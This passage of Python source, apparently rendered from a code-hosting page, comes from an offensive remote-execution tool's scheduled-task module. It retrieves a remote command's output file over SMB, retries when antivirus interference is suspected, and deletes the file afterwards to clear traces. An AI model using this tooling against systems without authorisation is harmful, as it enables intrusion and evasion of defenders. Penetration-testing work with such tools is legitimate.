self.output_callback(output.read())
|
||||
break
|
||||
except IOError:
|
||||
sleep(2)
|
||||
else:
|
||||
smbConnection = self.__rpctransport.get_smb_connection()
|
||||
tries = 1
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
|
||||
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("Schtask_as: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'.")
|
||||
break
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"Schtask_as: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
if "SHARING" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
sleep(3)
|
||||
tries += 1
|
||||
else:
|
||||
self.logger.debug(str(e))
|
||||
|
||||
if self.__outputBuffer:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
|
||||
smbConnection.deleteFile(self.__share, self.__output_filename)
|
||||
|
||||
dce.disconnect()
|
||||
Loading…
Reference in New Issue